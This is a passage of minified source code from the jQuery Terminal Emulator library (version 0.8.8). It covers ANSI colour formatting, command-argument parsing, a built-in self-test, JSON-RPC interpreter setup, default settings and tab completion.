string.replace(/\\[/g,\"&#91;\").replace(/\\]/g,\"&#93;\")},strip:function(str){return str.replace(format_parts_re,\"$6\")},active:function(){return terminals.front()},overtyping:function(string){return string.replace(/((?:_\\x08.|.\\x08_)+)/g,function(full,g){return\"[[u;;]\"+full.replace(/_x08|\\x08_|_\\u0008|\\u0008_/g,\"\")+\"]\"}).replace(/((?:.\\x08.)+)/g,function(full,g){return\"[[b;#fff;]\"+full.replace(/(.)(?:\\x08|\\u0008)(.)/g,function(full,g1,g2){return g2})+\"]\"})},ansi_colors:{normal:{black:\"#000\",red:\"#A00\",green:\"#008400\",yellow:\"#A50\",blue:\"#00A\",magenta:\"#A0A\",cyan:\"#0AA\",white:\"#AAA\"},faited:{black:\"#000\",red:\"#640000\",green:\"#006100\",yellow:\"#737300\",blue:\"#000087\",magenta:\"#650065\",cyan:\"#008787\",white:\"#818181\"},bold:{black:\"#000\",red:\"#F55\",green:\"#44D544\",yellow:\"#FF5\",blue:\"#55F\",magenta:\"#F5F\",cyan:\"#5FF\",white:\"#FFF\"},palette:[\"#000000\",\"#AA0000\",\"#00AA00\",\"#AA5500\",\"#0000AA\",\"#AA00AA\",\"#00AAAA\",\"#AAAAAA\",\"#555555\",\"#FF5555\",\"#55FF55\",\"#FFFF55\",\"#5555FF\",\"#FF55FF\",\"#55FFFF\",\"#FFFFFF\",\"#000000\",\"#00005F\",\"#000087\",\"#0000AF\",\"#0000D7\",\"#0000FF\",\"#005F00\",\"#005F5F\",\"#005F87\",\"#005FAF\",\"#005FD7\",\"#005FFF\",\"#008700\",\"#00875F\",\"#008787\",\"#0087AF\",\"#0087D7\",\"#00AF00\",\"#00AF5F\",\"#00AF87\",\"#00AFAF\",\"#00AFD7\",\"#00AFFF\",\"#00D700\",\"#00D75F\",\"#00D787\",\"#00D7AF\",\"#00D7D7\",\"#00D7FF\",\"#00FF00\",\"#00FF5F\",\"#00FF87\",\"#00FFAF\",\"#00FFD7\",\"#00FFFF\",\"#5F0000\",\"#5F005F\",\"#5F0087\",\"#5F00AF\",\"#5F00D7\",\"#5F00FF\",\"#5F5F00\",\"#5F5F5F\",\"#5F5F87\",\"#5F5FAF\",\"#5F5FD7\",\"#5F5FFF\",\"#5F8700\",\"#5F875F\",\"#5F8787\",\"#5F87AF\",\"#5F87D7\",\"#5F87FF\",\"#5FAF00\",\"#5FAF5F\",\"#5FAF87\",\"#5FAFAF\",\"#5FAFD7\",\"#5FAFFF\",\"#5FD700\",\"#5FD75F\",\"#5FD787\",\"#5FD7AF\",\"#5FD7D7\",\"#5FD7FF\",\"#5FFF00\",\"#5FFF5F\",\"#5FFF87\",\"#5FFFAF\",\"#5FFFD7\",\"#5FFFFF\",\"#870000\",\"#87005F\",\"#870087\",\"#8700AF\",\"#8700D7\",\"#8700FF\",\"#875F00\",\"#875F5F\",\"#875F87\",\"#875FAF\",\"#875FD7\",\"#875FFF\",\"#878700\",\"#87875F\",\"#878787\",\"#8787AF\",\"#8787D7\",\"#8787FF\",\"#87AF00\",\"#87AF5F\",\"#87AF87\",\"#87AFAF\",\"#87AFD7\",\"#87AFFF\",\"#87D700\",\"#87D75F\",\"#87D787\",\"#87D7AF\",\"#87D7D7\",\"#87D7FF\",\"#87FF00\",\"#87FF5F\",\"#87FF87\",\"#87FFAF\",\"#87FFD7\",\"#87FFFF\",\"#AF0000\",\"#AF005F\",\"#AF0087\",\"#AF00AF\",\"#AF00D7\",\"#AF00FF\",\"#AF5F00\",\"#AF5F5F\",\"#AF5F87\",\"#AF5FAF\",\"#AF5FD7\",\"#AF5FFF\",\"#AF8700\",\"#AF875F\",\"#AF8787\",\"#AF87AF\",\"#AF87D7\",\"#AF87FF\",\"#AFAF00\",\"#AFAF5F\",\"#AFAF87\",\"#AFAFAF\",\"#AFAFD7\",\"#AFAFFF\",\"#AFD700\",\"#AFD75F\",\"#AFD787\",\"#AFD7AF\",\"#AFD7D7\",\"#AFD7FF\",\"#AFFF00\",\"#AFFF5F\",\"#AFFF87\",\"#AFFFAF\",\"#AFFFD7\",\"#AFFFFF\",\"#D70000\",\"#D7005F\",\"#D70087\",\"#D700AF\",\"#D700D7\",\"#D700FF\",\"#D75F00\",\"#D75F5F\",\"#D75F87\",\"#D75FAF\",\"#D75FD7\",\"#D75FFF\",\"#D78700\",\"#D7875F\",\"#D78787\",\"#D787AF\",\"#D787D7\",\"#D787FF\",\"#D7AF00\",\"#D7AF5F\",\"#D7AF87\",\"#D7AFAF\",\"#D7AFD7\",\"#D7AFFF\",\"#D7D700\",\"#D7D75F\",\"#D7D787\",\"#D7D7AF\",\"#D7D7D7\",\"#D7D7FF\",\"#D7FF00\",\"#D7FF5F\",\"#D7FF87\",\"#D7FFAF\",\"#D7FFD7\",\"#D7FFFF\",\"#FF0000\",\"#FF005F\",\"#FF0087\",\"#FF00AF\",\"#FF00D7\",\"#FF00FF\",\"#FF5F00\",\"#FF5F5F\",\"#FF5F87\",\"#FF5FAF\",\"#FF5FD7\",\"#FF5FFF\",\"#FF8700\",\"#FF875F\",\"#FF8787\",\"#FF87AF\",\"#FF87D7\",\"#FF87FF\",\"#FFAF00\",\"#FFAF5F\",\"#FFAF87\",\"#FFAFAF\",\"#FFAFD7\",\"#FFAFFF\",\"#FFD700\",\"#FFD75F\",\"#FFD787\",\"#FFD7AF\",\"#FFD7D7\",\"#FFD7FF\",\"#FFFF00\",\"#FFFF5F\",\"#FFFF87\",\"#FFFFAF\",\"#FFFFD7\",\"#FFFFFF\",\"#080808\",\"#121212\",\"#1C1C1C\",\"#262626\",\"#303030\",\"#3A3A3A\",\"#444444\",\"#4E4E4E\",\"#585858\",\"#626262\",\"#6C6C6C\",\"#767676\",\"#808080\",\"#8A8A8A\",\"#949494\",\"#9E9E9E\",\"#A8A8A8\",\"#B2B2B2\",\"#BCBCBC\",\"#C6C6C6\",\"#D0D0D0\",\"#DADADA\",\"#E4E4E4\",\"#EEEEEE\"]},from_ansi:function(){var color={30:\"black\",31:\"red\",32:\"green\",33:\"yellow\",34:\"blue\",35:\"magenta\",36:\"cyan\",37:\"white\",39:\"white\"};var background={40:\"black\",41:\"red\",42:\"green\",43:\"yellow\",44:\"blue\",45:\"magenta\",46:\"cyan\",47:\"white\",49:\"black\"};function format_ansi(code){var controls=code.split(\";\");var num;var faited=false;var reverse=false;var bold=false;var styles=[];var output_color=\"\";var output_background=\"\";var _8bit_color=false;var _8bit_background=false;var process_8bit=false;var palette=$.terminal.ansi_colors.palette;for(var i in controls){num=parseInt(controls[i],10);switch(num){case 1:styles.push(\"b\");bold=true;faited=false;break;case 4:styles.push(\"u\");break;case 3:styles.push(\"i\");break;case 5:process_8bit=true;break;case 38:_8bit_color=true;break;case 48:_8bit_background=true;break;case 2:faited=true;bold=false;break;case 7:reverse=true;break;default:if(_8bit_color&&process_8bit&&palette[num-1]){output_color=palette[num-1]}else if(color[num]){output_color=color[num]}if(_8bit_background&&process_8bit&&palette[num-1]){output_background=palette[num-1]}else if(background[num]){output_background=background[num]}}if(num!==5){process_8bit=false}}if(reverse){if(output_color&&output_background){var tmp=output_background;output_background=output_color;output_color=tmp}else{output_color=\"black\";output_background=\"white\"}}var colors,backgrounds;if(bold){colors=backgrounds=$.terminal.ansi_colors.bold}else if(faited){colors=backgrounds=$.terminal.ansi_colors.faited}else{colors=backgrounds=$.terminal.ansi_colors.normal}return[styles.join(\"\"),_8bit_color?output_color:colors[output_color],_8bit_background?output_background:backgrounds[output_background]]}return function(input){var splitted=input.split(/(\\x1B\\[[0-9;]*[A-Za-z])/g);if(splitted.length==1){return input}var output=[];if(splitted.length>3&&splitted.slice(0,3).join(\"\")==\"[0m\"){splitted=splitted.slice(3)}var inside=false,next,prev_color,prev_background,code,match;for(var i=0;i<splitted.length;++i){match=splitted[i].match(/^\\x1B\\[([0-9;]*)([A-Za-z])$/);if(match){switch(match[2]){case\"m\":if(match[1]===\"\"){continue}if(match[1]!==\"0\"){code=format_ansi(match[1])}if(inside){output.push(\"]\");if(match[1]==\"0\"){inside=false;prev_color=prev_background=\"\"}else{code[1]=code[1]||prev_color;code[2]=code[2]||prev_background;output.push(\"[[\"+code.join(\";\")+\"]\");if(code[1]){prev_color=code[1]}if(code[2]){prev_background=code[2]}}}else{if(match[1]!=\"0\"){inside=true;output.push(\"[[\"+code.join(\";\")+\"]\");if(code[1]){prev_color=code[1]}if(code[2]){prev_background=code[2]}}}break}}else{output.push(splitted[i])}}if(inside){output.push(\"]\")}return output.join(\"\")}}(),parseArguments:function(string){return $.map(string.match(command_re)||[],function(arg){if(arg[0]===\"'\"&&arg[arg.length-1]===\"'\"){return arg.replace(/^'|'$/g,\"\")}else if(arg[0]==='\"'&&arg[arg.length-1]==='\"'){arg=arg.replace(/^\"|\"$/g,\"\").replace(/\\\\([\" ])/g,\"$1\");return arg.replace(/\\\\\\\\|\\\\t|\\\\n/g,function(string){if(string[1]===\"t\"){return\"\t\"}else if(string[1]===\"n\"){return\"\\n\"}else{return\"\\\\\"}}).replace(/\\\\x([0-9a-f]+)/gi,function(_,hex){return String.fromCharCode(parseInt(hex,16))}).replace(/\\\\0([0-7]+)/g,function(_,oct){return String.fromCharCode(parseInt(oct,8))})}else if(arg.match(/^\\/(\\\\\\/|[^\\/])+\\/[gimy]*$/)){var m=arg.match(/^\\/([^\\/]+)\\/([^\\/]*)$/);return new RegExp(m[1],m[2])}else if(arg.match(/^-?[0-9]+$/)){return parseInt(arg,10)}else if(arg.match(/^[-+]?[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?$/)){return parseFloat(arg)}else{return arg.replace(/\\\\ /g,\" \")}})},splitArguments:function(string){return $.map(string.match(command_re)||[],function(arg){if(arg[0]===\"'\"&&arg[arg.length-1]===\"'\"){return arg.replace(/^'|'$/g,\"\")}else if(arg[0]==='\"'&&arg[arg.length-1]==='\"'){return arg.replace(/^\"|\"$/g,\"\").replace(/\\\\([\" ])/g,\"$1\")}else if(arg[0]===\"/\"&&arg[arg.length-1]==\"/\"){return arg}else{return arg.replace(/\\\\ /g,\" \")}})},parseCommand:function(string){return processCommand(string,$.terminal.parseArguments)},splitCommand:function(string){return processCommand(string,$.terminal.splitArguments)},test:function(){var term=$.terminal.active();if(!term){term=$(\"body\").terminal($.noop).css(\"margin\",0);var margin=term.outerHeight()-term.height();var $win=$(window);$win.resize(function(){term.css(\"height\",$(window).height()-20)}).resize()}term.echo(\"Testing...\");function assert(cond,msg){term.echo(msg+\" &#91;\"+(cond?\"[[b;#44D544;]PASS]\":\"[[b;#FF5555;]FAIL]\")+\"&#93;\")}var string='name \"foo bar\" baz /^asd [x]/ str\\\\ str 10 1e10';var cmd=$.terminal.splitCommand(string);assert(cmd.name===\"name\"&&cmd.args[0]===\"foo bar\"&&cmd.args[1]===\"baz\"&&cmd.args[2]===\"/^asd [x]/\"&&cmd.args[3]===\"str str\"&&cmd.args[4]===\"10\"&&cmd.args[5]===\"1e10\",\"$.terminal.splitCommand\");cmd=$.terminal.parseCommand(string);assert(cmd.name===\"name\"&&cmd.args[0]===\"foo bar\"&&cmd.args[1]===\"baz\"&&$.type(cmd.args[2])===\"regexp\"&&cmd.args[2].source===\"^asd [x]\"&&cmd.args[3]===\"str str\"&&cmd.args[4]===10&&cmd.args[5]===1e10,\"$.terminal.parseCommand\");string=\"\u001b[2;31;46mFoo\u001b[1;3;4;32;45mBar\u001b[0m\u001b[7mBaz\";assert($.terminal.from_ansi(string)===\"[[;#640000;#008787]Foo][[biu;#44D544;#F5F]Bar][[;#000;#AAA]Baz]\",\"$.terminal.from_ansi\");string=\"[[biugs;#fff;#000]Foo][[i;;;foo]Bar][[ous;;]Baz]\";term.echo(\"$.terminal.format\");assert($.terminal.format(string)==='<span style=\"font-weight:bold;text-decoration:underline line-through;font-style:italic;color:#fff;text-shadow:0 0 5px #fff;background-color:#000\" data-text=\"Foo\">Foo</span><span style=\"font-style:italic;\" class=\"foo\" data-text=\"Bar\">Bar</span><span style=\"text-decoration:underline line-through overline;\" data-text=\"Baz\">Baz</span>',\"\tformatting\");string=\"http://terminal.jcubic.pl/examples.php https://www.google.com/?q=jquery%20terminal\";assert($.terminal.format(string)==='<a target=\"_blank\" href=\"http://terminal.jcubic.pl/examples.php\">http://terminal.jcubic.pl/examples.php</a> <a target=\"_blank\" href=\"https://www.google.com/?q=jquery%20terminal\">https://www.google.com/?q=jquery%20terminal</a>',\"\turls\");string=\"foo@bar.com baz.quux@example.com\";assert($.terminal.format(string)==='<a href=\"mailto:foo@bar.com\">foo@bar.com</a> <a href=\"mailto:baz.quux@example.com\">baz.quux@example.com</a>',\"\temails\");string=\"-_-[[biugs;#fff;#000]Foo]-_-[[i;;;foo]Bar]-_-[[ous;;]Baz]-_-\";assert($.terminal.strip(string)===\"-_-Foo-_-Bar-_-Baz-_-\",\"$.terminal.strip\");string=\"[[bui;#fff;]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla sed dolor nisl, in suscipit justo. Donec a enim et est porttitor semper at vitae augue. Proin at nulla at dui mattis mattis. Nam a volutpat ante. Aliquam consequat dui eu sem convallis ullamcorper. Nulla suscipit, massa vitae suscipit ornare, tellus] est [[b;;#f00]consequat nunc, quis blandit elit odio eu arcu. Nam a urna nec nisl varius sodales. Mauris iaculis tincidunt orci id commodo. Aliquam] non magna quis [[i;;]tortor malesuada aliquam] eget ut lacus. Nam ut vestibulum est. Praesent volutpat tellus in eros dapibus elementum. Nam laoreet risus non nulla mollis ac luctus [[ub;#fff;]felis dapibus. Pellentesque mattis elementum augue non sollicitudin. Nullam lobortis fermentum elit ac mollis. Nam ac varius risus. Cras faucibus euismod nulla, ac auctor diam rutrum sit amet. Nulla vel odio erat], ac mattis enim.\";term.echo(\"$.terminal.split_equal\");var cols=[10,40,60,400];for(var i=cols.length;i--;){var lines=$.terminal.split_equal(string,cols[i]);var success=true;for(var j=0;j<lines.length;++j){if($.terminal.strip(lines[j]).length>cols[i]){success=false;break}}assert(success,\"\tsplit \"+cols[i])}}};$.fn.visible=function(){return this.css(\"visibility\",\"visible\")};$.fn.hidden=function(){return this.css(\"visibility\",\"hidden\")};var ids={};$.jrpc=function(url,method,params,success,error){ids[url]=ids[url]||0;var request=$.json_stringify({jsonrpc:\"2.0\",method:method,params:params,id:++ids[url]});return $.ajax({url:url,data:request,success:function(result,status,jqXHR){var content_type=jqXHR.getResponseHeader(\"Content-Type\");if(!content_type.match(/application\\/json/)){if(console&&console.warn){console.warn(\"Response Content-Type is not application/json\")}else{throw new Error(\"WARN: Response Content-Type is not application/json\")}}var json;try{json=$.parseJSON(result)}catch(e){if(error){error(jqXHR,\"Invalid JSON\",e)}else{throw new Error(\"Invalid JSON\")}return}success(json,status,jqXHR)},error:error,contentType:\"application/json\",dataType:\"text\",async:true,cache:false,type:\"POST\"})};function is_scrolled_into_view(elem){var docViewTop=$(window).scrollTop();var docViewBottom=docViewTop+$(window).height();var elemTop=$(elem).offset().top;var elemBottom=elemTop+$(elem).height();return elemBottom>=docViewTop&&elemTop<=docViewBottom}function char_size(){var temp=$('<div class=\"terminal\"><div class=\"cmd\"><span>&nbsp;'+\"</span></div></div>\").appendTo(\"body\");var span=temp.find(\"span\");var result={width:span.width(),height:span.outerHeight()};temp.remove();return result}function get_num_chars(terminal){var width=char_size().width;var result=Math.floor(terminal.width()/width);if(have_scrollbars(terminal)){var SCROLLBAR_WIDTH=20;var margins=terminal.innerWidth()-terminal.width();result-=Math.ceil((SCROLLBAR_WIDTH-margins/2)/(width-1))}return result}function get_num_rows(terminal){return Math.floor(terminal.height()/char_size().height)}function getSelectedText(){if(window.getSelection||document.getSelection){var selection=(window.getSelection||document.getSelection)();if(selection.text){return selection.text}else{return selection.toString()}}else if(document.selection){return document.selection.createRange().text}}function have_scrollbars(div){return div.get(0).scrollHeight>div.innerHeight()}var version=\"0.8.8\";var version_set=!version.match(/^\\{\\{/);var copyright=\"Copyright (c) 2011-2013 Jakub Jankiewicz <http://jcubic.pl>\";var version_string=version_set?\" version \"+version:\" \";var reg=new RegExp(\" {\"+version_string.length+\"}$\");var signatures=[[\"jQuery Terminal\",\"(c) 2011-2013 jcubic\"],[\"jQuery Terminal Emulator\"+(version_set?\" v. \"+version:\"\"),copyright.replace(/ *<.*>/,\"\")],[\"jQuery Terminal Emulator\"+(version_set?version_string:\"\"),copyright.replace(/^Copyright /,\"\")],[\"      _______                 ________                        __\",\"     / / _  /_ ____________ _/__  ___/______________  _____  / /\",\" __ / / // / // / _  / _/ // / / / _  / _/     / /  \\\\/ / _ \\\\/ /\",\"/  / / // / // / ___/ // // / / / ___/ // / / / / /\\\\  / // / /__\",\"\\\\___/____ \\\\\\\\__/____/_/ \\\\__ / /_/____/_//_/ /_/ /_/  \\\\/\\\\__\\\\_\\\\___/\",\"         \\\\/          /____/                                   \".replace(reg,\" \")+version_string,copyright],[\"      __ _____                     ________                              __\",\"     / // _  /__ __ _____ ___ __ _/__  ___/__ ___ ______ __ __  __ ___  / /\",\" __ / // // // // // _  // _// // / / // _  // _//     // //  \\\\/ // _ \\\\/ /\",\"/  / // // // // // ___// / / // / / // ___// / / / / // // /\\\\  // // / /__\",\"\\\\___//____ \\\\\\\\___//____//_/ _\\\\_  / /_//____//_/ /_/ /_//_//_/ /_/ \\\\__\\\\_\\\\___/\",\"          \\\\/              /____/                                          \".replace(reg,\"\")+version_string,copyright]];$.terminal.defaults={prompt:\"> \",history:true,exit:true,clear:true,enabled:true,historySize:60,checkArity:true,exceptionHandler:null,cancelableAjax:true,processArguments:true,linksNoReferrer:false,login:null,outputLimit:-1,onAjaxError:null,onRPCError:null,completion:false,historyFilter:null,onInit:$.noop,onClear:$.noop,onBlur:$.noop,onFocus:$.noop,onTerminalChange:$.noop,onExit:$.noop,keypress:$.noop,keydown:$.noop,strings:{wrongPasswordTryAgain:\"Wrong password try again!\",wrongPassword:\"Wrong password!\",ajaxAbortError:\"Error while aborting ajax call!\",wrongArity:\"Wrong number of arguments. Function '%s' expect %s got %s!\",commandNotFound:\"Command '%s' Not Found!\",oneRPCWithIgnore:\"You can use only one rpc with ignoreSystemDescribe\",oneInterpreterFunction:\"You can't use more then one function (rpc with \"+\"ignoreSystemDescribe is count as one)\",loginFunctionMissing:\"You don't have login function\",noTokenError:\"Access denied (no token)\",serverResponse:\"Server reponse is\",wrongGreetings:\"Wrong value of greetings parameter\",notWhileLogin:\"You can't call that function while in login\",loginIsNotAFunction:\"Authenticate must be a function\",canExitError:\"You can't exit from main interpeter\",invalidCompletion:\"Invalid completion\",login:\"login\",password:\"password\"}};var requests=[];var terminals=new Cycle;$.fn.terminal=function(init_interpreter,options){function get_processed_command(command){if(typeof settings.processArguments===\"function\"){return processCommand(command,settings.processArguments)}else if(settings.processArguments){return $.terminal.parseCommand(command)}else{return $.terminal.splitCommand(command)}}function display_object(object){if(typeof object===\"string\"){self.echo(object)}else if(object instanceof Array){self.echo($.map(object,function(object){return $.json_stringify(object)}).join(\" \"))}else if(typeof object===\"object\"){self.echo($.json_stringify(object))}else{self.echo(object)}}function display_json_rpc_error(error){if(typeof settings.onRPCError===\"function\"){settings.onRPCError.call(self,error)}else{self.error(\"&#91;RPC&#93; \"+error.message)}}function make_basic_json_rpc_interpreter(url){var service=function(method,params){self.pause();$.jrpc(url,method,params,function(json){if(!json.error){if(typeof settings.processRPCResponse===\"function\"){settings.processRPCResponse.call(self,json.result)}else{display_object(json.result)}}else{display_json_rpc_error(json.error)}self.resume()},ajax_error)};return function(command,terminal){if(command===\"\"){return}command=get_processed_command(command);if(!settings.login||command.name===\"help\"){service(command.name,command.args)}else{var token=terminal.token();if(token){service(command.name,[token].concat(command.args))}else{terminal.error(\"&#91;AUTH&#93; \"+strings.noTokenError)}}}}function make_object_interpreter(object,arity,fallback){return function(user_command,terminal){if(user_command===\"\"){return}var command=get_processed_command(user_command);var val=object[command.name];var type=$.type(val);if(type===\"function\"){if(arity&&val.length!==command.args.length){self.error(\"&#91;Arity&#93; \"+sprintf(strings.wrongArity,command.name,val.length,command.args.length))}else{return val.apply(self,command.args)}}else if(type===\"object\"||type===\"string\"){var commands=[];if(type===\"object\"){commands=Object.keys(val);val=make_object_interpreter(val,arity)}terminal.push(val,{prompt:command.name+\"> \",name:command.name,completion:type===\"object\"?function(term,string,callback){callback(commands)}:undefined})}else{if($.type(fallback)===\"function\"){fallback(user_command,self)}else if($.type(settings.onCommandNotFound)===\"function\"){settings.onCommandNotFound(user_command,self)}else{terminal.error(sprintf(strings.commandNotFound,command.name))}}}}function ajax_error(xhr,status,error){self.resume();if(typeof settings.onAjaxError==\"function\"){settings.onAjaxError.call(self,xhr,status,error)}else if(status!==\"abort\"){self.error(\"&#91;AJAX&#93; \"+status+\" - \"+strings.serverResponse+\": \\n\"+xhr.responseText)}}function make_json_rpc_object(url,auth,success){$.jrpc(url,\"system.describe\",[],function(ret){var commands=[];if(ret.procs){var interpreter_object={};$.each(ret.procs,function(_,proc){interpreter_object[proc.name]=function(){var append=auth&&proc.name!=\"help\";var args=Array.prototype.slice.call(arguments);var args_len=args.length+(append?1:0);if(settings.checkArity&&proc.params&&proc.params.length!==args_len){self.error(\"&#91;Arity&#93; \"+sprintf(strings.wrongArity,proc.name,proc.params.length,args_len))}else{self.pause();if(append){args=[self.token(true)].concat(args)}$.jrpc(url,proc.name,args,function(json){if(json.error){display_json_rpc_error(json.error)}else{display_object(json.result)}self.resume()},ajax_error)}}});success(interpreter_object)}else{success(null)}},function(){success(null)})}function make_interpreter(user_interpreter,auth,finalize){finalize=finalize||$.noop;var type=$.type(user_interpreter);var result={};var commands;var rpc_count=0;var function_interpreter;if(type===\"array\"){var object={};(function recur(interpreters,success){if(interpreters.length){var first=interpreters[0];var rest=interpreters.slice(1);var type=$.type(first);if(type===\"string\"){rpc_count++;self.pause();if(settings.ignoreSystemDescribe){if(rpc_count===1){function_interpreter=make_basic_json_rpc_interpreter(first)}else{self.error(strings.oneRPCWithIgnore)}recur(rest,success)}else{make_json_rpc_object(first,auth,function(new_object){if(new_object){$.extend(object,new_object)}self.resume();recur(rest,success)})}}else if(type===\"function\"){if(function_interpreter){self.error(strings.oneInterpreterFunction)}else{function_interpreter=first}}else if(type===\"object\"){$.extend(object,first);recur(rest,success)}}else{success()}})(user_interpreter,function(){commands=Object.keys(object);result.interpreter=make_object_interpreter(object,false,function_interpreter);result.completion=function(term,string,callback){callback(commands)};finalize(result)})}else if(type===\"string\"){if(settings.ignoreSystemDescribe){finalize({interpreter:make_basic_json_rpc_interpreter(user_interpreter),completion:settings.completion})}else{self.pause();make_json_rpc_object(user_interpreter,auth,function(object){if(object){var commands=Object.keys(object);result.interpreter=make_object_interpreter(object,false);result.completion=function(term,string,callback){callback(commands)}}else{result.interpreter=make_basic_json_rpc_interpreter(user_interpreter);result.completion=settings.completion}self.resume();finalize(result)})}}else if(type===\"object\"){commands=Object.keys(user_interpreter);result.interpreter=make_object_interpreter(user_interpreter,settings.checkArity);result.completion=function(term,string,callback){callback(commands)};finalize(result)}else{if(type===\"undefined\"){user_interpreter=$.noop}else if(type!==\"function\"){throw type+\" is invalid interpreter value\"}finalize({interpreter:user_interpreter,completion:settings.completion})}}function make_json_rpc_login(url,login){var method=$.type(login)===\"boolean\"?\"login\":login;return function(user,passwd,callback,term){self.pause();$.jrpc(url,method,[user,passwd],function(response){self.resume();if(!response.error&&response.result){callback(response.result)}else{callback(null)}},ajax_error)}}function exception_message(e){if(typeof e===\"string\"){return e}else if(typeof e.fileName===\"string\"){return e.fileName+\": \"+e.message}else{return e.message}}function display_exception(e,label){if(typeof settings.exceptionHandler==\"function\"){settings.exceptionHandler.call(self,e)}else{self.exception(e,label)}}function scroll_to_bottom(){var scrollHeight=scroll_object.prop?scroll_object.prop(\"scrollHeight\"):scroll_object.attr(\"scrollHeight\");scroll_object.scrollTop(scrollHeight)}function validate(label,object){try{if(typeof object===\"function\"){object(function(){})}else if(typeof object!==\"string\"){var msg=label+\" must be string or function\";throw msg}}catch(e){display_exception(e,label.toUpperCase());return false}return true}var output_buffer=[];var NEW_LINE=1;function draw_line(string,options){try{var line_settings=$.extend({raw:false,finalize:$.noop},options||{});string=$.type(string)===\"function\"?string():string;string=$.type(string)===\"string\"?string:String(string);var i,len;if(!line_settings.raw){string=$.terminal.encode(string)}string=$.terminal.overtyping(string);string=$.terminal.from_ansi(string);output_buffer.push(NEW_LINE);if(!line_settings.raw&&(string.length>num_chars||string.match(/\\n/))){var array=$.terminal.split_equal(string,num_chars);for(i=0,len=array.length;i<len;++i){if(array[i]===\"\"||array[i]===\"\\r\"){output_buffer.push(\"&nbsp;\")}else{if(line_settings.raw){output_buffer.push(array[i])}else{output_buffer.push($.terminal.format(array[i],{linksNoReferer:settings.linksNoReferer}))}}}}else{if(!line_settings.raw){string=$.terminal.format(string,{linksNoReferer:settings.linksNoReferer})}output_buffer.push(string)}output_buffer.push(line_settings.finalize)}catch(e){output_buffer=[];alert(\"[Internal Exception(draw_line)]:\"+exception_message(e)+\"\\n\"+e.stack)}}function redraw(){command_line.resize(num_chars);var o=output.empty().detach();var lines_to_show;if(settings.outputLimit>=0){var limit=settings.outputLimit===0?self.rows():settings.outputLimit;lines_to_show=lines.slice(lines.length-limit-1)}else{lines_to_show=lines}$.each(lines_to_show,function(i,line){draw_line.apply(null,line)});command_line.before(o);self.flush()}function show_greetings(){if(settings.greetings===undefined){self.echo(self.signature)}else if(settings.greetings){var type=typeof settings.greetings;if(type===\"string\"){self.echo(settings.greetings)}else if(type===\"function\"){settings.greetings.call(self,self.echo)}else{self.error(strings.wrongGreetings)}}}function echo_command(command){command=$.terminal.escape_brackets($.terminal.encode(command,true));var prompt=command_line.prompt();if(command_line.mask()){command=command.replace(/./g,\"*\")}if(typeof prompt===\"function\"){prompt(function(string){self.echo(string+command)})}else{self.echo(prompt+command)}}function commands(command,silent,exec){try{if(!ghost()){prev_command=$.terminal.splitCommand(command).name;if(exec&&typeof settings.historyFilter==\"function\"&&settings.historyFilter(command)||!settings.historyFilter){command_line.history().append(command)}}var interpreter=interpreters.top();if(command===\"exit\"&&settings.exit){var count=interpreters.size();self.token();if(count==1&&self.token()||count>1){if(!silent){echo_command(command)}self.pop()}}else{if(!silent){echo_command(command)}var position=lines.length-1;if(command===\"clear\"&&settings.clear){self.clear()}else{var result=interpreter.interpreter(command,self);if(result!==undefined){if(position===lines.length-1){lines.pop();if(result!==false){self.echo(result)}}else{if(result===false){lines=lines.slice(0,position).concat(lines.slice(position+1))}else{lines=lines.slice(0,position).concat([result]).concat(lines.slice(position+1))}}self.resize()}}}}catch(e){display_exception(e,\"USER\");self.resume();throw e}}function global_logout(){if(typeof settings.onBeforeLogout===\"function\"){try{if(settings.onBeforeLogout(self)===false){return}}catch(e){display_exception(e,\"onBeforeLogout\");throw e}}logout();if(typeof settings.onAfterLogout===\"function\"){try{settings.onAfterLogout(self)}catch(e){display_exception(e,\"onAfterlogout\");throw e}}self.login(settings.login,true,initialize)}function logout(){var name=self.prefix_name(true)+\"_\";$.Storage.remove(name+\"token\");$.Storage.remove(name+\"login\")}function maybe_append_name(interpreter_name){var storage_key=self.prefix_name()+\"_interpreters\";var names=$.Storage.get(storage_key);if(names){names=$.parseJSON(names)}else{names=[]}if($.inArray(interpreter_name,names)==-1){names.push(interpreter_name);$.Storage.set(storage_key,$.json_stringify(names))}}function prepare_top_interpreter(silent){var interpreter=interpreters.top();var name=self.prefix_name(true);if(!ghost()){maybe_append_name(name)}command_line.name(name);if(typeof interpreter.prompt==\"function\"){command_line.prompt(function(command){interpreter.prompt(command,self)})}else{command_line.prompt(interpreter.prompt)}command_line.set(\"\");if(!silent&&typeof interpreter.onStart===\"function\"){interpreter.onStart(self)}}function initialize(){prepare_top_interpreter();show_greetings();var was_paused=false;if(typeof settings.onInit===\"function\"){onPause=function(){was_paused=true};try{settings.onInit(self)}catch(e){display_exception(e,\"OnInit\");throw e}finally{onPause=$.noop;if(!was_paused){self.resume()}}}}function complete_helper(command,string,commands){var test=command_line.get().substring(0,command_line.position());if(test!==command){return}var regex=new RegExp(\"^\"+$.terminal.escape_regex(string));var matched=[];for(var i=commands.length;i--;){if(regex.test(commands[i])){matched.push(commands[i])}}if(matched.length===1){self.insert(matched[0].replace(regex,\"\")+\" \")}else if(matched.length>1){if(tab_count>=2){echo_command(command);self.echo(matched.join(\"\t\"));tab_count=0}else{var found=false;var found_index;var j;loop:for(j=string.length;j<matched[0].length;++j){for(i=1;i<matched.length;++i){if(matched[0].charAt(j)!==matched[i].charAt(j)){break loop}}found=true}if(found){self.insert(matched[0].slice(0,j).replace(regex,\"\"))}}}}function ghost(){return in_login||command_line.mask()}function key_down(e){var result,i,top=interpreters.top();if($.type(top.keydown)===\"function\"){result=top.keydown(e,self);if(result!==undefined){return result}}var completion;if(settings.completion&&$.type(settings.completion)!=\"boolean\"&&!top.completion){completion=settings.completion}else{completion=top.completion}self.oneTime(10,function(){on_scrollbar_show_resize()});if($.type(settings.keydown)===\"function\"){result=settings.keydown(e,self);if(result!==undefined){return result}}if(!self.paused()){if(e.which!==9){tab_count=0}if(e.which===68&&e.ctrlKey){if(!in_login){if(command_line.get()===\"\"){if(interpreters.size()>1||settings.login!==undefined){self.pop(\"\")}else{self.resume();self.echo(\"\")}}else{self.set_command(\"\")}}return false}else if(e.which===76&&e.ctrlKey){self.clear()}else if(completion&&e.which===9){++tab_count;var command=command_line.get().substring(0,command_line.position());var strings=command.split(\" \");var string;if(strings.length==1){string=strings[0]}else{string=strings[strings.length-1];for(i=strings.length-1;i>0;i--){if(strings[i-1][strings[i-1].length-1]==\"\\\\\"){string=strings[i-1]+\" 